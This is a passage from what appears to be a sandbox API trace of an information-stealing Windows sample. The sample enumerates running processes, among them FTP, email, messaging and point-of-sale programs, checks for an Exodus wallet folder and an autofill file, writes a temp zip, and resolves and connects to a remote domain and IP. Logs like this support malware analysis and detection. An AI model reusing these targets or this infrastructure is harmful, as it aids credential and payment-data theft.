th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0169.533] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0169.535] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0169.537] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0169.552] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0169.554] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0169.557] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0169.559] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0169.561] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0169.564] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0169.566] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0169.568] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0169.618] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0169.620] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0169.623] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0169.626] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0169.628] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0169.630] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0169.633] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0169.635] VirtualAlloc (lpAddress=0xc000352000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000352000 [0169.635] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0169.637] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0169.643] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0169.645] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0169.647] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0169.649] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0169.651] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0169.654] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0169.657] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0169.660] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0169.666] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0169.669] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0169.672] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0169.676] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0169.679] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0169.682] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0169.684] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0169.687] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0169.690] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0169.693] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0169.696] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0169.699] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0169.701] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0169.703] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0169.712] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0169.717] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0169.720] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0169.723] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0169.726] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0169.728] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0169.731] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0169.734] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0169.739] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0169.741] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0169.745] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0169.748] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0169.750] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thank_side_fire.exe")) returned 1 [0169.753] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_impact.exe")) returned 1 [0169.755] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="military_early_more.exe")) returned 1 [0169.758] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="legal.exe")) returned 1 [0169.760] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="south-leg.exe")) returned 1 [0169.762] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.764] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.770] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="83741e7578d11053fd5cbbf15ed253b3.exe")) returned 1 [0169.772] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.774] Process32NextW (in: hSnapshot=0x1d4, lppe=0xc00034a480 | out: lppe=0xc00034a480*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0169.776] GetProcAddress (hModule=0x77660000, lpProcName="CloseHandle") returned 0x77681960 [0169.776] CloseHandle (hObject=0x1d4) returned 1 [0169.797] GetEnvironmentVariableW (in: lpName="LOCALAPPDATA", lpBuffer=0xc00032d380, nSize=0x64 | out: lpBuffer="") returned 0x20 [0169.797] VirtualAlloc (lpAddress=0xc000356000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000356000 [0169.818] VirtualAlloc (lpAddress=0xc000358000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000358000 [0169.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\exodus" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\exodus"), fInfoLevelId=0x0, lpFileInformation=0xc00019f868 | out: lpFileInformation=0xc00019f868*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.820] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\exodus" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\exodus"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0169.890] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\zTmOZs75.zip" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ztmozs75.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0169.895] GetConsoleMode (in: hConsoleHandle=0x1d4, lpMode=0xc00019ed1c | out: lpMode=0xc00019ed1c) returned 0 [0169.896] GetFileType (hFile=0x1d4) returned 0x1 [0169.897] VirtualAlloc (lpAddress=0xc00035a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035a000 [0169.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.940] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0170.007] VirtualAlloc (lpAddress=0xc00035c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035c000 [0170.007] VirtualAlloc (lpAddress=0xc00035e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035e000 [0170.589] VirtualAlloc (lpAddress=0xc000360000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000360000 [0170.651] VirtualAlloc (lpAddress=0xc000362000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000362000 [0170.939] VirtualAlloc (lpAddress=0xc000364000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000364000 [0170.961] VirtualAlloc (lpAddress=0xc000366000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000366000 [0171.457] VirtualAlloc (lpAddress=0xc000368000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000368000 [0171.591] VirtualAlloc (lpAddress=0xc00036a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036a000 [0171.658] SetEvent (hEvent=0xbc) returned 1 [0171.954] PostQueuedCompletionStatus (CompletionPort=0x1a8, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0172.170] VirtualAlloc (lpAddress=0xc00036c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036c000 [0172.302] SetEvent (hEvent=0xbc) returned 1 [0172.406] VirtualAlloc (lpAddress=0xc000374000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000374000 [0172.431] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc000379f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc000379e78 | out: ppResult=0xc000379e78*=0x1db6260*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db62a0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0172.492] SetEvent (hEvent=0xe8) returned 1 [0172.492] FreeAddrInfoW (pAddrInfo=0x1db6260*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db62a0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0172.493] SetEvent (hEvent=0xbc) returned 1 [0172.731] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1d8 [0172.821] CreateIoCompletionPort (FileHandle=0x1d8, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0172.821] SetFileCompletionNotificationModes (FileHandle=0x1d8, Flags=0x3) returned 1 [0172.871] bind (s=0x1d8, addr=0xc000310f4c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0172.874] SetEvent 